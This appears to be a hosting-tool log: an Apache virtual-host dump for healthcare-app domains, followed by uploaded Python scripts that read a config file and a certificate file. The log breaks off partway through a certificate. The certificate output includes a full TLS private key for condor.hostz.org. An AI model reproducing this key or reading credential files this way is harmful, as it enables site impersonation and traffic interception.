port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-10 06:00:38:
PUT: /tmp/pkp113177
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_condor_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-10 06:00:38:
chmod 755 /tmp/pkp113177; /tmp/pkp113177; rm /tmp/pkp113177
2025-09-10 06:00:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf 1822
<VirtualHost *:80>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/condor_access.log combined
ErrorLog /var/log/apache2/hostz/condor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_condor/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/condor_secure_access.log combined
ErrorLog /var/log/apache2/hostz/condor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-10 06:00:38:
PUT: /tmp/pkp544757
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-10 06:00:38:
chmod 755 /tmp/pkp544757; /tmp/pkp544757; rm /tmp/pkp544757
2025-09-10 06:00:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt 5352
64:70:b7:71:e3:20:c9:49:80:f7:ba:3f:18:97:76:45
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBZa5crOMbAGBfQyghBxhR03ZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEwMDUwMjA2WhcNMjUxMjA5MDUwMjA1WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA7MX9f9VkgB2D6KWk6ZOt9WwOOJ1TaAIZFM4IDdHuW+ZZz+b0ThRbFD3keqyx
+NLEneWIpcrgiZonqIJigaibp1afxkH2NgpRDUUiZUh3YaQp+ZVG6ta+ysiXBbY1
SayDER6L0bF2Yq6YdCVsCI3lkidHBKFyUIRwv2jqO9UuBwcju2eJdlNLSGhX7UEG
NkDDlnGk3aVBze6gtTqKfLUBIqaef906sExhchBitTVTfdWR13f+xnj/26opCDUT
FdAplv1AcDBN1o4NmbNM17frfZexeaAQzFgQlFCeNQbrvCvYkk+N7Qe1usp6N2OK
d/+GaKynrsWnnAlBWiJL+gezVQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBS6ER/ScHn+/MNADRfbDEw8CXbrYzAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy85MC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdwDt
PEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZkyNjGeAAAEAwBIMEYC
IQC/fCQtV5EN2Fx130E1eCx4xjO5VdgSpF+RzRS21VY2wgIhAMnUs5J4R36ht11G
nm4rQjNLPSZFEHRwKKOnoVFv/tjLAHUADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDv
DkIetH5OqjQAAAGZMjYxqwAABAMARjBEAiB5V3esieF2FE9ljaebbZ1Q/Iip7FU2
ihRPxYcaSlmLgwIgTTRcRFPeVfg1hxl5gMSXLTtieALIgDp5Ib9l+OEuRfMwDQYJ
KoZIhvcNAQELBQADggEBAKGCH26HeZtvTG9MlBfeDP2jRnLkIFTH5yZKZh5upY6F
5sh2P43PgrDn2FKpc1v2/oegEOcxFiV2A6PKcCn8x1+T44O6iKSXPhQqOmwJ5F1Y
D4aLmRTUoFDM2tzjtQVCWf85mi5onWp/C1QEGC2Uz0QP/nfPVFj7BSw/dA/aQQIz
/87dA9J4vAQVaMDUZFAejXT9VSDvb0ArmTxUbiuyIxzoZDzkJyy8/S+jJVy7NWFU
8SA4oOM5bA9cLEd/CE+LNBnCjqNAyIvUBVDQhjrn2jnh8xvkVMlO/7ju2FFj5mx4
Fap2fZSYR3W2NDylBZdLU3mMCtvQ80TrQMQbZfUgCMw=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDsxf1/1WSAHYPo
paTpk631bA44nVNoAhkUzggN0e5b5lnP5vROFFsUPeR6rLH40sSd5YilyuCJmieo
gmKBqJunVp/GQfY2ClENRSJlSHdhpCn5lUbq1r7KyJcFtjVJrIMRHovRsXZirph0
JWwIjeWSJ0cEoXJQhHC/aOo71S4HByO7Z4l2U0tIaFftQQY2QMOWcaTdpUHN7qC1
Oop8tQEipp5/3TqwTGFyEGK1NVN91ZHXd/7GeP/bqikINRMV0CmW/UBwME3Wjg2Z
s0zXt+t9l7F5oBDMWBCUUJ41Buu8K9iST43tB7W6yno3Y4p3/4ZorKeuxaecCUFa
Ikv6B7NVAgMBAAECggEAQo4tAeAEDhc92wmk35uJjLFBFhzzMwtT7Ys0rF3UeLS5
jj1HcyM5ruju7qTYqi7k4dWBocjzcPqKJ03vTq8Mge9RnjMweGRSAD7sujeyhxnU
SrnxY1XV776O5SYguILrnMZPWzRdKMQXSp6yTX1FiN3NkrmnHob8AnIFVahI9eQ7
d006MgUa/tG0ApYNwQp/M9+T3wc14gA/kHWCmjbwqmpctFfJF6zd4YGrVHrGkfBD
NkYLJrXx6X5R90mWAafHBvRiC5xnUCCdpNK2GXPH7uOIv3Z/elmREKHWhRSbn3jQ
rs8EzggEv11r3GjZ7XQZfHwnfQYsFBtogDFo019zwQKBgQD3SSNwFIskhrQyj039
e879+x4i31T2EnicLtw/ulIbMdogzIRQSTXvKtcmPc987IpJ0pmTvMtbm1XxxngC
Vf+B6zo3of1/B3tJuW5tIYadpZ8a8vTI+fEOf3IRXjvN6dYKVvinptus2NjuxAEE
iL46A6c99SANG0nQ44zhd9QbXQKBgQD1HgQnn1MvWH9+qVKb53AEfzBhlBokhwq3
KuMZbkqfcGjIUIlzJqoWlZsOMHDw0mayZxJCgV3sTFUOoQvlUdBeF9QkEgG9mQRm
P+1XYq09r8o8C+QFPwe27UeecmrxhMl6MQExE/BaRMXIH/f174E8maNVFiVvcqn5
iwparv/wWQKBgFi1XgcY94lU4VO54MpsHacy7G6qGzpjCe1NSil6V3X1/kAB3f1H
Jhf0EFZhmgtAd6Nf70P2WCU2pjAjeG2uGAitL6dBb0SglHOwF5MCkd3/ygHK4lEu
iHEg+vSMD3wgxG3VIUJTMz7gU4HjwlG0FDmPkfFB/At3nJVY6/L+H5LpAoGBALoq
TP+G65gG//ZERcCxO4u+yhEieeSKSCIryYX0FWsY5gxV1r8Fe6Nhhv103yKYunT/
AYhPVvV0WBmfSTinNblxIacvofDNOeEq5mk7QdabH98RLOKrJ4HQn1eBESZUMu3C
MGSE/0Sf/RNs7Ff2ytIq4jlqc448qUolRvzu8uYpAoGAdi7RTJ/c4ce9T+3Xx4oX
/eqiyVprX6NO/q9JxPYN75Uqhbp68FBzen/26PZjVCLwXpYedp8m2KvbiSghMUxj
bGutOTAw5ziIzJC6vnJ04JkphenXAILGJdLDl+xJX3GzAEi30LQVVSxoRrb33mzw
/ObIeeFQlv/E0Y5rSTo2e1k=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
